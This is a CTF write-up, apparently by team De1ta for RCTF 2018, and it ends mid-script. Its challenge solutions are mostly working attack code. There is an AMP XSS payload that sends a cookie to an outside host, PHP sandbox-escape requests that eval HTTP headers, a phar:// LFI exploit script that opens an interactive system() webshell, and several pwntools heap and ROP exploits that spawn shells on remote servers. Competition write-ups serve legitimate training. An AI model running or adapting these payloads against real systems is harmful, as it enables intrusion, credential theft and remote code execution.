Team:De1ta
由cookie提示flag在admin的cookie 应该是xss
post后会log
应该和amp标准有关 : https://zh.wikipedia.org/zh-hans/Accelerated_Mobile_Pages
AMP规范 : https://www.ampproject.org/zh_cn/docs/fundamentals/spec
猜测使用AMP特性绕过csp打到cookie
AMP获取cookies的方法:https://github.com/ampproject/amphtml/blob/master/spec/amp-var-substitutions.md#client-id
网页源码里有句注释:
payload:
<amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG)"></amp-pixel>
<amp-user-notification
layout=nodisplay
id="FLAG"
data-show-if-href="https://487a72b5.2m1.pw"
data-dismiss-href="https://487a72b5.2m1.pw">
This site uses cookies to personalize content.
< a href="">Learn more.</ a>
<button on="tap:user-consent.dismiss">I accept</button>
</amp-user-notification>
<!-- Client ID is not provided until `user-consent` is dismissed -->
<amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG,FLAG)"></amp-pixel>
url编码后在浏览器触发
flag: RCTF{El_PsY_CONGRO0_sg0}
访问后在../sandbox/生成一个sha1文件夹,然后复制模板进去,提供了重定向到该文件夹和重置文件夹的功能
重定向后是个php沙箱,只能执行格式为`xxxx();`的函数
可以递归执行函数,不允许带参数
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www
翻阅文档找到`getallheaders()`函数,会返回所有的http请求头,因为header可控,所以可执行任意命令了
?cmd=print(implode(getallheaders()));
命令执行:
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
接下来沙盒逃逸,从phpinfo看,这里是开了mod_vhost_alias
这里是利用auto_prepend来载入sandbox下的init.php来设置沙盒的open_basedir
所以这里通过修改host来逃逸沙盒的open_basedir。
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
Content-Length: 4
把host头的39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox去掉:
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: .r-cursive.ml
403是因为webroot没有index.php,正好说明已经逃逸出了沙盒
所以去访问39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php 即可调用命令
借用39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php来执行命令:
GET /39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: .r-cursive.ml
拿到flag
GET /39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');$myfile=fopen('/var/www/sandbox/init.php','r');echo fread($myfile,9999);//
Host: .r-cursive.ml
题目的附件在RE 的complier
解压出来是一个archlinux的ISO,直接扔进vmware启动就行
/root文件夹下有helloworld.c和wallpaper.jpg两个文件,图片提取出来一个no_hint.txt:
用wireshark抓取虚拟机用gcc编译时的流量,发现会从http://backdoor.2018.teamrois.cn/control.sh
下载了一个bash脚本:
该脚本的主要工作为:
- 检测是否有wireshark|tshark|idaq|strace|gdb|edb|lldb|lida|hopper|r2|radare2进程,如果有,就向http://backdoor.2018.teamrois.cn/post.php?action=debugging&count=$debuggers发送“Oh, no! He's debugging! I'll kill them!!!!!!”,并杀死相关进程;
- 执行head -c100000 /dev/urandom > /tmp/random.txt 命令,将/tmp/random.txt打包为zip并发送给http://backdoor.2018.teamrois.cn/post.php?action=upload
- echo "Did you find the backdoor?" > ~/rctf-backdoor.txt
访问http://backdoor.2018.teamrois.cn/:
查看源代码,有一段aaencode
解码得到到
document.loginform.onsubmit = function (e) {
e.preventDefault()
document.getElementById('wp-submit').disabled = 'disabled'
setTimeout(function () {
document.getElementById('wp-submit').removeAttribute('disabled')
alert('Login failed')
"What? Need hint?"
"index.php is a hint!"
}, 3000)
}
意识到这个登陆页没啥用
在http://backdoor.2018.teamrois.cn/post.php?action=upload
寻找突破口,发现可以文件读取
读post.php源码
http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=post
post.php
<?php
error_reporting(0);
include $_GET['action'] . '.php';
读upload.php源码
upload.php
<?php
if (!isset($_FILES['file'])) exit;
$file = $_FILES['file'];
$zip = new ZipArchive();
if (true !== $zip->open($file['tmp_name'])) {
echo 'No a valid zip';
exit;
}
if (false === $zip->getFromName('tmp/random.txt')) {
echo 'No file';
exit;
}
$dest = 'uploads/' . md5($_SERVER['REMOTE_ADDR']) . hash('sha256', file_get_contents($file['tmp_name'])) . '.zip';
move_uploaded_file($file['tmp_name'], $dest);
echo 'Saved into ' . $dest;
post.php存在限制后缀的文件包含,可以通过phar://或者zip://协议绕过,从而包含恶意代码getshell,upload.php中限制了上传的文件要是个zip并且里面要有个random.txt文件。
我们在压缩包中再加入一个 evil.php 文件,当通过post.php 访问 action=phar://dest/evil 时,即访问 phar://dest/evil.php 注意 post.php 中的代码include $_GET['action'] . '.php'
最终构造exp如下,对应的压缩包tmp.zip已经作为附件上传。
exp.py:
import requests
s = "Saved into "
post_url = "http://backdoor.2018.teamrois.cn/post.php?action=upload"
zip_file = open("tmp.zip","rb")
upload_file = {'file':zip_file}
r = requests.post(post_url,files=upload_file)
dest = r.text[len(s):]
shell_url = "http://backdoor.2018.teamrois.cn/post.php?action=phar://"+ dest + "/evil"
print("[*] shell url: " + shell_url)
while True:
command = input("command: ")
payload = {'chybeta': 'system("%s");' % command}
r = requests.get(shell_url,params=payload)
print(r.text)
elf文件,binwalk一下有发现,binwalk提取出其中的png文件,是这样的:
提示wine
用wine运行getflag:
给了个git文件夹,估计flag是藏在提交历史里,
getflag:
题目要求找出15个命令xxx,使得xxx food的输出结果等于cat food的输出结果
在本地docker测试可以免掉验证码
echo 'food'>yourCatFood
docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro rctf_cats bash -c "timeout 5 diff -Z <(cat food) <(xxxx food)"
后来想到把food内容也设置为`food`,这样cat food就等于ls food等于echo
food了,用这种方法找出15个可用的命令,然后拿到flag
在1的基础上
If you can find at least 4 out of 5 cats whose names in (python3, bash, php,
node, ruby), I will give you another flag ._.
看来就是命令绕过了,1中只用到了php
一开始陷入误区,打算用软链接来替换掉命令
如
import os
os.system("ln -s /bin/cat /usr/local/sbin/gg")
f=open('food','r')
data=f.read()
print(data)
提交python3,gg,.....
但是,后来发现应该是将所有cat的名字分别代入到
sudo docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro
rctf_cats bash -c "timeout 5 diff -Z \<(cat food) \<(yourCatName food)"
所以,每个环境都是独立的,相互不影响,所以需要写一个脚本是(python3,bash,node,ruby)中3个运行输出与cat一样的(php只要不写”\<?php”,直接原样输出)。
跟cat一致,那就是读取文件内容并输出了。
python3
print(open('food').read());
ruby
print(open('food').read());
bash
cat food
node
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
接下来是考虑整合了。
通过解析的差异和适当的exit来整合。
echo cat food;
在bash下输出文件内容,在ruby、node下无输出
print(open('food').read());
ruby运行OK,node运行报函数未定义,so,定义下函数
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}
所以,结合起来
本地测试的时候,node是要去掉后面的回车
echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data.slice(0,-1));
}
function open(filename){return {read:function(){}}}
function exit(){}
但是,答题那里不用去掉末尾的回车,要改成
echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}
o o o o __o o__ o o_/
<| v\ /v v\ / \ / \ <| v
/ \ <\ /> <\ \o/ < >
\o/ o/ o/ | |
| _<| <| < > o/_
| \ \ | |
<o> \o \ / o <o></o></o>
| v\ o o <| |
/ \ <\ <__ __/> / \ / \
In every round of the game, I'll choose some different numbers from the figure
interval. You are required to guess those numbers,ofc so does the order of them.
On each surmise of yours, 2 numbers will be told as a hint for you, but you need
to speculate the fuctions of these 2 figures. (XD
GLHF
================== round 1 ==================
Give me 4 numbers, in[0, 10), You can only try 6 times
https://github.com/AustinGuo/GessNumber
脚本可以生成每关结果,然后半自动玩游戏23333
找出美妆博主:
flag:RCTF{rbdlmlombrslj}
最基础的off by null
chunk overlap + fastbin attack 极限利用.....做起来很不舒服......
思路首先是利用off by null来chunk overlap , chunk overlap之后利用fast bin
attack来get shell,基本上全是套路.........
from pwn import *
debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
p=process('./babyheap',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('babyheap.2018.teamrois.cn',3154)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def alloc(sz,content):
se('1\n')
ru('please input chunk size:')
se(str(sz)+'\n')
ru('input chunk content:')
se(content)
ru('choice:')
def show(idx):
se('2\n')
ru('please input chunk index:')
se(str(idx)+'\n')
ru('content: ')
data=ru('1. ')
ru('choice:')
return data
def delete(idx):
se('3\n')
ru('please input chunk index:')
se(str(idx)+'\n')
ru('choice:')
#-------------init----------------
alloc(0x48,'0\n')
alloc(0xf9,(p64(0x100)+p64(0x21))*0x10)
alloc(0xa8,'2'*8+p64(0x21)*10+'\n')
alloc(0x100,'3\n')
#-----------off by null-------------
delete(1)
delete(0)
alloc(0x48,'a'*0x48)
#----------chunk overlap--------
alloc(0x88,'1\n')
alloc(0x68,'4\n')
delete(1)
delete(2)
#-----------leak libc----------------
alloc(0x88,'1\n')
libc=u64(show(4)[:6]+'\x00\x00')
base=libc-0x3C4B78
malloc_hook=base+e.symbols['__malloc_hook']
#-----------fast bin attack-----------
delete(1)
alloc(0xa8,'a'*0x88+p64(0x71)+'\n')
delete(4)
delete(1)
alloc(0xa8,'a'*0x88+p64(0x71)+p64(malloc_hook-0x23)+'\n')
alloc(0x68,'t\n')
alloc(0x68,'a'*3+p64(base+0xf1147)*2+p64(base+0x846D0)+'\n')
print(hex(base))
print(hex(base+0x846D0))
p.interactive()
flag: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}
这是一个mips的指令模拟器,先输入mips的汇编代码,然后会解析成二进制,之后根据二进制来执行对应的操作,在主函数那里貌似有一个栈溢出,但是leak不出来cookie…….
基本操作有这些,syscall 只实现了一个,就是print int,感觉可以利用lw
和sw进行任意地址读写
然后将 ___stack_chk_fail 的got 写改成 ret 的地址,就可以用栈溢出随便玩了
漏洞点在这里,没有判断小于0的情况
li \$a0,1883262208
li \$a1,1883262209
add \$a0,\$a0,\$a1
lw \$a0,\$a0
li \$v0,1
syscall
END
利用这个payload可以打印got中某个地址的值
这里可以劫持控制流
li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END
输完这个payload之后,就可以栈溢出
弄了半天ret2dlresolve,然后发现找libc快多了..........
下面是payload
from pwn import *
from hashlib import sha256
import itertools
import roputils
debug=0
context.log_level='debug'
rop=roputils.ROP('./simulator')
if debug:
p=process('simulator')
context.log_level='debug'
gdb.attach(p)
e=ELF('/lib/i386-linux-gnu/libc-2.24.so')
else:
p=remote('simulator.2018.teamrois.cn', 3131)
e=ELF('./libc.so')
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
s=string.letters+string.digits
if debug==0:
chal=p.recv(16)
for i in itertools.permutations(s,4):
sol=''.join(i)
if sha256(chal + sol).digest().startswith('\0\0\0'):
break
p.send(sol)
payload='''
li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END
'''
se(payload)
puts=0x080485C0
main_addr=0x804AC23
bss_tmp=0x804DB20+0x100
pret=0x804B33B
tpayload='a'*44+p32(bss_tmp)+p32(puts)+p32(main_addr)+p32(0x0804D010)
ru('leave a comment: ')
se(tpayload+'\n')
printf=u32(p.recv(4))
base=printf-e.symbols['printf']
system=base+e.symbols['system']
binsh=base+e.search('/bin/sh').next()
rpayload='a'*48+p32(system)+p32(binsh)*2
se(rpayload+'\n')
p.interactive()
flag: RCTF{5imu_s1mu_sinnu_siml_l_simulator!_7a3dac}
漏洞在delete那里.....未初始化变量......看了栈溢出那里半天....难受
delete函数未初始化变量,所以可以delete 任意一块地方
具体是先view了某一个想delete的堆,然后堆地址保存在栈上,然后这个时候进delete函数,随便输一个东西,然后因为找不到对应的堆,然后
i 这个时候是31,但是free的是栈上面的那个变量,所以可以use after
free,之后一个fastbin attack过去就可以了
payload 如下
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
p=process('RNote3',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('rnote3.2018.teamrois.cn',7322)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def add(title,sz,content):
se('1\n')
ru('please input title:')
se(title)
ru('please input content size:')
se(str(sz)+'\n')
ru('please input content:')
se(content)
sleep(0.1)
def show(title):
se('2\n')
ru('please input note title: ')
se(title)
ru('note content: ')
sleep(0.1)
def edit(title,content):
se('3\n')
ru('please input note title:')
se(title)
ru('please input new content: ')
se(content)
sleep(0.1)
def delete(title):
se('4\n')
ru('please input note title: ')
se(title)
sleep(0.2)
add('1\n',0xa0,'a\n')
add('2\n',0xa0,'b\n')
show('1\n')
delete('a\n')
show('\n')
libc=u64(p.recv(6)+'\x00\x00')
base=libc-0x3C4B78
malloc_hook=base+e.symbols['__malloc_hook']
add('3\n',0xa0,'c\n')
add('4\n',0x68,'d\n')
add('5\n',0x68,'e\n')
show('4\n')
delete('a\n')
edit('\n',p64(malloc_hook-0x23)+'\n')
add('6\n',0x68,'f\n')
add('7\n',0x68,'a'*3+p64(base+0x4526a)*2+p64(base+0x846D0)+'\n')
se('1\n')
p.interactive()
flag:RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}
堆溢出,可以变成任意写...
然后改掉DT_STRTAB的值,改到bss段的一个地方,之后往上面放system,然后delete掉一个堆,这个时候会调用free,然后因为free是第一次被调用,会调用dl_resolve来找在libc中的地址
,因为改了DT_STRTAB,所以会找到sysytem,变成调用system(“/bin/sh”);,之后就get
shell了
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('RNote4',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('rnote4.2018.teamrois.cn',6767)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def add(sz,content):
se('\x01')
se(chr(sz))
se(content)
def edit(idx,sz,content):
se('\x02')
se(chr(idx))
se(chr(sz))
se(content)
def delete(idx):
se('\x03')
se(chr(idx))
def write(addr,content):
payload='a'*0x18+p64(0x21)+p64(0x18)+p64(addr)
edit(0,len(payload),payload)
edit(1,len(content),content)
add(0x18,'a'*0x18)
add(